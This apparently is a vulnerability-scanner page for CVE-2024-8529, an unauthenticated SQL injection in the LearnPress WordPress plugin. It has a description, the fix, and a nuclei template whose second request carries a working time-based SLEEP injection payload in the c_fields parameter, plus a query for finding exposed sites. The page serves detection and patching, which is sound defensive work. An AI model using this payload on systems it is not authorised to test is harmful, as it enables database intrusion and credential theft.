LearnPress < 4.2.7.1 - SQL Injection

criticalseverity

7.5CVSS score

12.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.

Impact

Unauthenticated attackers can exploit SQL injection through the c_fields parameter to extract sensitive database information including user credentials, course data, and personal information from the LearnPress LMS.

Fix

Update the LearnPress plugin to version 4.2.7.1 or later.

How to confirm it

Send: GET /wp-content/plugins/learnpress/readme.txt
Positive when: status_code == 200 and contains_all(body, "LearnPress", "WordPress LMS Plugin")
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200 and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2024-8529 -u <target>

The full check

id: CVE-2024-8529

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: ritikchaddha,iacker
  severity: critical
  description: |
    The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection through the c_fields parameter to extract sensitive database information including user credentials, course data, and personal information from the LearnPress LMS.
  remediation: |
    Update the LearnPress plugin to version 4.2.7.1 or later.
  reference:
    - https://wpscan.com/vulnerability/6b86c089-177b-45b4-979e-4ae08e586e83/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c2b2671e-0db7-4ba9-b574-a0122959e8fc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8529
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8529
    cwe-id: CWE-89
    epss-score: 0.12056
    epss-percentile: 0.96175
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="wp-content/plugins/learnpress"
    vendor: thimpress
    product: learnpress
  tags: cve,cve2024,wordpress,wp-plugin,wp,learnpress,sqli,time-based-sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "LearnPress", "WordPress LMS Plugin")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(8)))a)/*{{randstr}}*/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from